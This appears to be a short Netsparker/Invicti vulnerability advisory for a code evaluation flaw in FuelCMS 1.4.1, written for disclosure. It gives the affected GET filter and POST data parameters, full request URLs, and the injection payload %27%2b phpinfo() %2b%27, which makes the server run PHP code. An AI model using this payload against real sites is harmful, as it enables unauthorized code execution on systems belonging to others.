Code Evaluations in FuelCMS 1.4.1

Information

Advisory by Netsparker (now Invicti)
Name: Code Evaluations in FuelCMS 1.4.1
Affected Software: FuelCMS
Affected Versions: 1.4.1
Homepage: https://www.getfuelcms.com/
Vulnerability: Code Evaluations
Severity: Critical
Status: Not Fixed
CVE-ID: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
CVSS Score (3.0): 8.6
Invicti Advisory Reference: NS-18-019

Vulnerabilities Tree

Code Evaluation

  1. /fuel/pages/select/ (GET = filter)
  2. /fuel/preview (POST = data)

Technical Details

Code Evaluation in /fuel/pages/select/ (GET = filter)
URL: http://{domain}/{fuelcms_path}/fuel/pages/select/?nocache=1507880376191&input=&target=&title=&class=&pdfs=&filter=%27%2b phpinfo() %2b%27
Parameter Name: filter
Parameter Type: GET
Attack Pattern: %27%2b phpinfo() %2b%27

Code Evaluation in /fuel/preview (POST = data)
URL: http://{domain}/{fuelcms_path}/fuel/preview?module=pages&field=vars--body
Parameter Name: data
Parameter Type: POST
Attack Pattern: %27%2b phpinfo() %2b%27

Advisory Timeline

23rd October 2017 – First Contact
29th November 2018 – Advisory Released

Credits & Authors

These issues have been discovered by Omer Citak while testing Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.